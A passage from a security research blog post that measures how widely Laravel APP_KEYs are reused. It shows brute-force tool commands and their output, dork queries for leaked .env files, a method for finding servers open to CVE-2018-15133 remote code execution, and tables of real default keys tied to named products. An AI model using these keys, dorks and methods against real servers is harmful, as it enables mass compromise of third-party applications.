function. Therefore, these values can be used to brute force the associated APP_KEY
.
In order to try thousands of APP_KEY
s, we added the option bruteforce mode to laravel-crypto-killer:
$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
0%| | 0/1 [00:00<?, ?it/s]
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
Key : base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=
[*] Unciphered value
1beeb01afabf67cf1a1661bb347aa20dd68fff0f|BRrlfYbBn5XQK2vkYAcu7GVSABKSQrskDVjtQmgx
100%|█████████████████████████████████████████████| 1/1 [00:05<00:00, 5.00s/it]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json
Retrieving Laravel ciphers at scale
In order to have a view on the bigger picture, we tried to find a way to retrieve as many exposed Laravel ciphers as possible, to make statistics and see how well the APP_KEY
s are actually managed.
As said earlier: on a default Laravel installation, two cookies will always be set: XSRF-TOKEN
and laravel-session
.
What we did not say yet is that it will be sent by Laravel on its default route as long as it is not a redirection. This behavior is fascinating for two reasons, we can easily have an idea of the number of Laravel instances by using any search engine mapping the internet, but more importantly these cookies are Laravel ciphers!
It means that one is able to use these cookies as a cipher to try brute forcing the APP_KEY
of any publicly exposed Laravel applications. Furthermore, the XSRF-TOKEN
cookie name is immutable and set by default, so it is a good heuristic to determine if an application is based on Laravel.
After understanding this, we quickly wanted to get our hands on this dataset at the best possible price and compared several search engines like ZoomEye, Onyphe, Censys (which seemed to have the most complete dataset with 3 000 000 XSRF-TOKEN
available) and finally Shodan.
We chose Shodan16 because it was by far the cheapest in comparison to others, which allowed to retrieve 1 million entries for 60 dollars. We were able to extract and sanitize 580 461 ciphers in total from 679 866 websites having an XSRF-TOKEN
set during July 2024. We also took another dataset on the 31st of 2025 containing 625 059 sanitized ciphers out of 672 481 public XSRF-TOKEN
.


Retrieving APP_KEYs at scale
As we saw, modern Laravel applications are encrypting data by using a combination of AES-256 mode CBC and a HMAC by default. Furthermore, the APP_KEY
is generated via the random_bytes
17 PHP function, which is currently considered cryptographically secured.
It means that the value of the APP_KEY
on a Laravel application cannot be identified by pure brute-force. As an attacker, one can hope that the developers manually wrote a 40-character base64 sentence, or that they encoded a 32-character sentence, but this is really unlikely (although it still happened in some cases!).
Therefore, in order to retrieve a lot of APP_KEY
s, we used several methods. We tried to identify them in July 2024 by:
- Using GitHub dorks:
github-dorks -q "APP_KEY=base64" -p php
- Using Google dorks:
ext:env intext:APP_ENV= | intext:APP_DEBUG= | intext:APP_KEY=
- Looking for hard coded APP_KEYs inside Laravel public documentation or public forums.
- Or looking in other public projects like BadSecrets19 which already have wordlists containing
APP_KEY
s.
Even if these methods seemed pretty promising, they were hard to automate efficiently, and we were not able to retrieve so much keys: a total of 1171 of them to be exact. That goes without saying that this result was mediocre in comparison of the 679 866 Laravel projects available publicly identified via Shodan.

After running this first batch of tests, we concluded that this research was sufficient as it was and decided to present our results and the vulnerabilities identified at GreHack 202420.
An unexpected helping hand: discussion with GitGuardian
After our presentation, Mickaël and I enjoyed a little break. At this moment, we luckily met Guillaume Valadon from GitGuardian who was also excited by the idea of hunting for APP_KEYs on misconfigured projects. This led us to push the research even further: we started a collaboration where we were able to improve our results using their datasets, and they used those results to improve their detectors21 and their service Public Monitoring that continuously scans public GitHub repositories in real-time to alert organizations when their secrets are accidentally leaked by22.
A few days later, GitGuardian gave us access to a first list of APP_KEY
s they fetched from 2018 to the 20th of December 2024 containing a stunning number of 212 540 APP_KEY
s.
They sent us another dataset later, containing a total of 267 952 APP_KEYs from 2018 to the 30th of May 2025.
We now had everything needed to improve our previous analysis. However, we encountered a final blocking issue: we had so many APP_KEY
s and Laravel ciphers that laravel-crypto-killer
was not able to ingest so many secrets and ciphers, it already took more than 9 hours to process all the previous data sets.

With this new dataset, the time jumped to more than two weeks to fully brute force all the ciphers with our new hundred of thousands of APP_KEY
s.
Brute forcing at scale
nounours
nounours
optimized the brute force process so much that we went from a few weeks with laravel-crypto-killer
to only 1 minute and 51 seconds to brute force all the datasets.
# Example of output generated by nounours
$ nounours --encrypted-file all_tokens-30_05.txt --key-file all_app_keys.txt
Starting cbc bf on 624536 encrypted text with 267810 keys.
eyJpdiI6IllXUWF4dHNNY2k2eEE0cXduU1cxUEE9PSIsInZhbHVlIjoiR0JnWE9vTFoxVjJwbCtLN1F0eXIwSnl4d05RRFpQOXpXSWxFZUNzYkpIVWwwbnkzMk5oc0FGYW9LalJScVUxN2RiejhlOFJFVEp5bmxaYXY3QWtMdk13T3lnY1g3ei9jcnRMV1pPaFlLV091L1l2UGY0ZE5TczhUbmxBTHZXSjIiLCJ0YWciOm51bGx9:91b99c5f00e2f3f29cb872fcb806607643e84180|q2v4Xq3pi0fNUNkSDJTbqw9W2BB36Otb3mdWvYlv:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
eyJpdiI6Ik9kS3pPbjhzQWZYWXVDSzNMS1dhS0E9PSIsInZhbHVlIjoidXFKU09lVlc1azlPbGgraElRYzVVeDJZbVhuTWxjM0tRaWRzemxmQVc0cDFhMVpZSFpRTmNFVytVMjk1RFlsV09OdXA2enBJUFBsTDJ3d25SUnJTZ1E9PSIsInRhZyI6bnVsbH0=:s:40:"BEtS21PQRLgrN8PMNvWU4QUsy8nKu1iJEJRdWB0s";:aes-256-cbc:base64:Szj2KpQhjfDp750FRO0b6lS2+0TscGTaGbgCAvmnRdU=
eyJpdiI6ImNJbE42d05JUElpdlRONkZHaE5CM0E9PSIsInZhbHVlIjoiRHpzMGhCQTQxTURkTkNaRE9rM1JJNENza3BIMllHZUMwZHNuMTdmeXhmcysveFBweWM1NFl6cGFsSFUvdXgyNSIsInRhZyI6bnVsbH0=:RAR3rzmHMkqnP4qkJ4MXlPcHCbriK4ZJpmv4u6bc:aes-256-cbc:base64:W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=
# Total time of bruteforce on all the dataset
$ time nounours --encrypted-file ../all_tokens-30_05.txt --key-file ../all_app_keys.txt > /dev/null
Starting cbc bf on 624536 encrypted text with 267810 keys.
Starting gcm bf on 58 encrypted text with 267810 keys.
Got through 167272519140 combinations in 110856611881ns
Speed: 1509M try/s
real 1m51.408s
user 28m27.245s
sys 0m0.710s
To keep it short, Damien focused on the following areas of improvement:
- Using allocations as accurately as possible.
- Using the most optimized algorithms.
- Using as much hardware instructions as possible.
This tool is currently not available publicly.
Analyzing the results
Now that we have thoroughly explained all the tools, data, methodologies, reasoning, and logic involved in retrieving ciphers and APP_KEY
s for brute-forcing, let's get to the interesting part: what we can actually learn from a worldwide brute force on Laravel ciphers!
Differences between July 2024 and June 2025

-
All the data at the left of the red line is based on the brute force performed on ciphers from July 2024. GitGuardian's dataset multiplied the number of successfully cracked ciphers by 4.
-
From this point, ciphers from May 2025 were used.
$ wc -l all_tokens-26_07_2024.txt
580461
$ wc -l all_results-26_07_2024_sorted.txt
23149
3.99% of keys linked to public Laravel instances from July 2024 could be cracked.
$ wc -l all_tokens-30_05.txt
625059
$ wc -l all_results-30_05_2025_sorted.txt
22212
3.56% of keys linked to public Laravel instances from May 2025 could be cracked.
As we can see, the number of valid ciphers decreased a bit over one year. But we were still able to retrieve 3.56% of APP_KEY
s from all public projects from the internet, which is still pretty impressive given the fact that not a single interaction to any of these servers was necessary to get to this number.
Evolution of CVE-2018-15133 exposure
Since all the dataset is based on the cookie XSRF-TOKEN
, some clear text data identified is in fact PHP serialized data. This basically means that we can know, even without sending any request to any of these servers, which ones we might be able to instantly compromise via a remote command execution by exploiting CVE-2018-15133.
We can know if an XSRF-TOKEN
is based on a serialized data by looking at the way the encrypted data is stored. If it starts with s:(int)
, then it is PHP serialized data.
# Example of patterns matching serialized data in nounours response
eyJp[...]4Rd";:aes-128-cbc:base64:U29tZVJhbmRvbVN0cmluZw==
eyJp[...]x9:s:81:"91b99c5f00e2f3f29cb872fcb806607643e84180|J49tSeWtRRJQs4EXYekwZnNKIa2JifinQnUdbA9z";:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
On the dataset from July 2024, 1326 exposed servers could still be compromised by CVE-2018-15133.
On the dataset from May 2025, 1091 are still vulnerable to CVE-2018-15133.
Fortunately, we can see that during a period of one year, 17.7% less servers are vulnerable to this CVE. But in the other hand, there are still more than one thousand servers that are just one request away to be fully compromised, and there is a high chance that they already are.
Analyze of the APP_KEY top 10
There is one last question to answer from all this data: where does these APP_KEY
s come from, and why are they reused so much?
Position | Number of public servers sharing it | APP_KEY | Description |
---|---|---|---|
🥇 | 561 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Default key of UltimatePOS available on CodeCanyon |
🥈 | 491 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Frequently used in bootstrapped projects |
🥉 | 415 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Default key of XPanel SSH User Management |
4️⃣ | 313 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk= | base64 value of SomeRandomStringOf32 CharsExactly |
5️⃣ | 257 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP_KEY shared between unrelated projects |
6️⃣ | 216 | U29tZVJhbmRvbVN0cmluZw== | Default APP_KEY on older Laravel Version base64 value of SomeRandomString |
7️⃣ | 198 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Seems linked to several platforms linked to crypto wallet management |
8️⃣ | 195 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Default key of WASender a message sender for WhatsApp |
9️⃣ | 177 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Default key on several AI based projects |
🔟 | 155 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Key shared between several random Laravel projects, seems they are copying each other |
11 | 152 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Default key on Invoice ninja |
79 | 44 | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Default key on Snipe-IT |
Position | Number of public servers sharing it | APP_KEY | Description | Position since 2024 |
---|---|---|---|---|
🥇 | 1650 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Default key of UltimatePOS available on CodeCanyon | 🟰 |
🥈 | 1132 | xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw= | Key shared between several projects of an Indonesian company | 🆕 |
🥉 | 518 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk== | base64 value of SomeRandomStringOf32CharsExactly | ⬆️ |
4️⃣ | 275 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Frequently used in bootstrapped projects | ⬇️ |
5️⃣ | 275 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Default key of XPanel SSH User Management | ⬇️ |
6️⃣ | 203 | U29tZVJhbmRvbVN0cmluZw== | Default APP_KEY on older Laravel Version base64 value of SomeRandomString | 🟰 |
7️⃣ | 170 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP_KEY shared between unrelated projects | ⬇️ |
8️⃣ | 165 | BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw= | Default key of Rocket LMS available on CodeCanyon | 🆕 |
9️⃣ | 164 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Default key of WASender a message sender for WhatsApp | ⬇️ |
🔟 | 157 | hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs= | Default key of Flex Home - Laravel Real Estate Multilingual System available on CodeCanyon | 🆕 |
11 | 153 | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Default key on Snipe-IT | ⬆️ |
19 | 94 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Key shared between several random Laravel projects, seems they are copying each other | ⬇️ |
24 | 87 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Default key on several AI based projects | ⬇️ |
26 | 84 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Default key on Invoice ninja | ⬇️ |
320 | 11 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Seems linked to several platforms linked to crypto wallet management | ⬇️ |
What can we learn from this?
Most of the APP_KEY
s detailed on this top 10 are default ones from big projects, or shared on a same development project hosted on several servers. The APP_KEY
is not regenerated by default if it is already set on a .env file. Therefore, if you set it on a project you are selling to customers, they WILL keep it as long as everything works, even if you tell them they should regenerate the key inside a documentation.
Developers also tend to reuse the same APP_KEY
everywhere, that is also a common mistake we encounter during our audits.
The number of instances using the old default Laravel APP_KEY
SomeRandomString
decreases over time, while the usage of the string SomeRandomStringOf32CharsExactly
increases.
Many sources from commercialized projects are in fact publicly available, customers tend to buy Laravel projects and to publish them on GitHub for some reason.
Most of the top 10 APP_KEY
s are from projects sold on CodeCanyon, this platform seems used by many customers looking for Laravel based projects.
Finally, a depressing stat: in 2024, there were 44 servers publicly exposed Snipe-IT instances which could be compromised via CVE-2024-48987, which we detailed earlier. Nowadays, in 2025, that should be better right? Well, the number of vulnerable public Snipe-IT instances is now 61! even though there is a patch and a CVE assigned.
Conclusion
This was a long journey of one year of research regarding APP_KEY
management, it was a fascinating subject which involved several people over time. It . Guillaume and Gaëtan, thanks a lot for your help! If you want to see what other secrets might leak on Laravel projects posted on GitHub, you can also read their blog post.
This research is not fixed in time, it is still alive, Laravel applications will keep appearing every day online, so it could be continued over time as long as Laravel cookies remain based on Laravel encrypted data. Analyzing results over an extended period makes this suject even more intriguing.
Even though there may be occasional provocative remarks scattered throughout this blog post, it does not mean that Laravel is a bad framework: that is in fact quite the opposite! In practice, it is rare to leak an APP_KEY
without exploiting another vulnerability like a file read during an audit. By default, Laravel projects will generate a brand-new APP_KEY
for any new project. As a developper, your APP_KEY
is safe as long as you do not leak it on platforms like GitHub or do not expose a debug interface on your application.
APP_KEY
reuse is the most common mistake identified during our research: the majority of reused APP_KEY
s are found in paid products based on Laravel. The best advice we could give is to remove any APP_KEY
from products you sell and to force their generation during the installation.
That is why, when using a project based on Laravel, your first reflex should be to regenerate a new APP_KEY
with the command php artisan key:generate
. However, as described in this blog post, other prerequisites are required in order to compromise a Laravel application, even when an attacker is in possession of this secret.
Laravel environment is really vast and there is a huge community working to improve it over the world, so if you enjoy doing research on PHP based projects, give it a try!
We sincerely hope that you found this blog post enjoyable, as we already have more content related to Laravel planned for release in the coming months!
- 1. Laravel Usage Statistics on Built With - https://trends.builtwith.com/framework/Laravel
- 2. Laravel documentation regarding encryption - https://laravel.com/docs/12.x/encryption
- 3. Illuminate Encryption project on GitHub - https://github.com/illuminate/encryption/blob/master/Encrypter.php#L104
- 4. PHP Generic Gadget Chains project on GitHub - https://github.com/ambionics/phpggc
- 5. Link to the script test-gc-compatibility.py - https://github.com/ambionics/phpggc/blob/master/test-gc-compatibility.py
- 7. Illuminate decrypt function - https://github.com/illuminate/encryption/blob/master/Encrypter.php#L155
- 8. laravel-crypto-killer project on GitHub - https://github.com/synacktiv/laravel-crypto-killer
- 9. Invoice Ninja GitHub project - https://github.com/invoiceninja/invoiceninja
- 10. CVE-2024-55555 advisory - https://github.com/synacktiv/laravel-crypto-killer
- 11. Snipte-IT sources on GitHub - https://github.com/grokability/snipe-it
- 12. CVE-2024-48987 advisory - https://www.synacktiv.com/advisories/snipe-it-unauthenticated-remote-co…
- 13. Crater Invoice project on GitHub - https://github.com/crater-invoice-inc/crater
- 14. CVE-2024-55556 advisory - https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-rem…
- 15. Known indicators of compromise associated with Androxgh0st Malware. - https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a
- 16. Search engine scanning internet : Shodan - https://www.shodan.io/
- 17. PHP documentation of the function random_bytes - https://www.php.net/manual/en/function.random-bytes.php
- 19. Project BadSecrets on GitHub - https://github.com/blacklanternsecurity/badsecrets/tree/main
- 20. GreaHack 2024 rebroadcast on YouTube - https://www.youtube.com/watch?v=UMcHWx4speo
- 21. GitGuardian detectors - https://www.gitguardian.com/monitor-internal-repositories-for-secrets
- 22. GitGuardian Public Monitoring service - https://www.gitguardian.com/monitor-public-github-for-secrets